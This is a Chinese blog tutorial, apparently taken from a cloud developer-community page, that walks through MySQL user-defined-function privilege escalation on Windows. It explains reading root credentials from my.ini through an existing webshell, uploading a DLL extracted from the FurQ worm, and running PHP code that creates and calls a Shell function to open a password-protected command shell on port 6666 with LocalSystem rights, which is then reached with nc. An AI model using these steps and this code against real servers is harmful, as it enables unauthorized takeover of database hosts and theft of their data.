如何使用MySQL提升权限

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: 前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对 Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.

其实我们早就能想到.当我们在对MSSQL/Oracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来 进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行 的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.

废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.

MySQL中创建一个函数的语句为:

Create Function FunctionName Returns [String|Integer|Real] Soname ‘C:/function.dll’;

其中FunctionName指的是函数的名称,C:/Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里 需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第 14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的 编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System(”command.com”)等等. 网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql 这个数据库的写权限,否则无法正常使用.

好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.

在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.

一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非 常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密 码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.

得到 MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的 Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是”FurQ”几个字符而已.不过我们现在还没有 执行的条件.需要通过MySQL将这个函数创建到MySQL中去.

现在,我们用PHPSPY新建一个PHP文件.

输入以下的内容

$link=mysql_connect(’127.0.0.1′,’root’,'root’);

if (!$link) {

die(’Could NOt Connect The Database!: ‘ . mysql_error());

};

echo “Good Boy.Connected!
“;

//这里的root/root就是从my.ini中读取的用户和密码.

@mysql_select_db(’mysql’) or die (’use database mysql failed!’);

echo “Yes You Did!
“;

//这里选择使用MySQL数据库表.当然你也可以选择别的,如test.

$query=”Create Function Shell RETURNS INTEGER SONAME ‘d://wwwroot//FurQ.dll’;”;

@$result = mysql_query($query, $link) or die (”Create Function Failed!”);

echo “Goddess…Successed!
“;

//这两句话是关键,执行MySQL的创建函数语句.将d:/wwwroot/furq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.

$query=”Select Shell();”;

@$result = mysql_query($query, $link) or die (”Execute failed”);

echo “Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
“;

//这一步是执行这个Shell函数,打开服务器的6666端口.

?>

再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了.. 当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所 欲为了,不过不要做坏事哦.呵呵

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
21天前
|
安全 关系型数据库 MySQL
轻松入门MySQL:MySQL8权限管理详解,角色和用户操作实例(18)
轻松入门MySQL:MySQL8权限管理详解,角色和用户操作实例(18)
|
10月前
|
存储 安全 关系型数据库
MySQL-用户与权限
MySQL-用户与权限
118 0
|
11月前
|
存储 SQL 安全
一文带你了解MySQL之用户和权限原理
在学习这一章节的时候,我们可以先了解一下SQL语言,SQL语言共分为四大类: 数据查询语言DQL(Data QueryLanguage):select 等 数据操纵语言DML(database manage language):insert update delete 等 数据定义语言DDL(Data Definition Language): create drop alter runcate 等 数据控制语言DCL(Data Control Language): grant revoke commit rollback 等
164 0
|
存储 SQL 网络协议
【MySQL高级】Mysql复制及Mysql权限管理
【MySQL高级】Mysql复制及Mysql权限管理
118 0
【MySQL高级】Mysql复制及Mysql权限管理
|
存储 SQL 安全
入门MySQL——用户与权限
前面几篇文章为大家介绍了各种SQL语法的使用,本篇文章将主要介绍MySQL用户及权限相关知识,如果你不是DBA的话可能平时用的不多,但是了解下也是好处多多。
177 0
|
缓存 ARouter 安全
漫谈MySQL权限安全,看这一篇就够了!
漫谈MySQL权限安全,看这一篇就够了!
漫谈MySQL权限安全,看这一篇就够了!
|
关系型数据库 MySQL 数据安全/隐私保护
创建MySQL用户
MySQL用户创建、查询、修改等操作,我以实验的方式分享给大家。
|
关系型数据库 MySQL 数据安全/隐私保护
MySQL用户与权限
MySQL用户与权限用户连接到mysql,并做各种查询,在用户和服务器中间分为两个阶段: 1:用户是否有权连接上来 2:用户是否有权执行此操作(如select,update等等) 先看第一个阶段:服务器如何判断用户是否有权连接上来 依据三个参数: 你从哪来? host 你是谁? user 你...
783 0
|
Web App开发 存储 安全
MySQL8.0 - 新特性 - 安全及权限相关改进
MySQL8.0里引入了不少关于权限的改动,从这些改动可以看出来,权限管理更加的规范和遍历了,这和我们之前为rds mysql增加了大量权限管理很类似,想来Oracle也是通过这些改动为其云业务服务的吧。
2351 0
|
存储 关系型数据库 MySQL
[玩转MySQL之三]MySQL用户及权限管理
数据库保存着程序日积夜累记录下来的数据资产,安全级别特别高,只能让授权的用户可以访问,其他用户需一律拒绝。MySQL是一个多用户数据库,拥有功能强大的访问控制系统,可以为不同的用户指定不同的权限。本文将详细介绍MySQL的用户及权限管理。
2484 0

热门文章

最新文章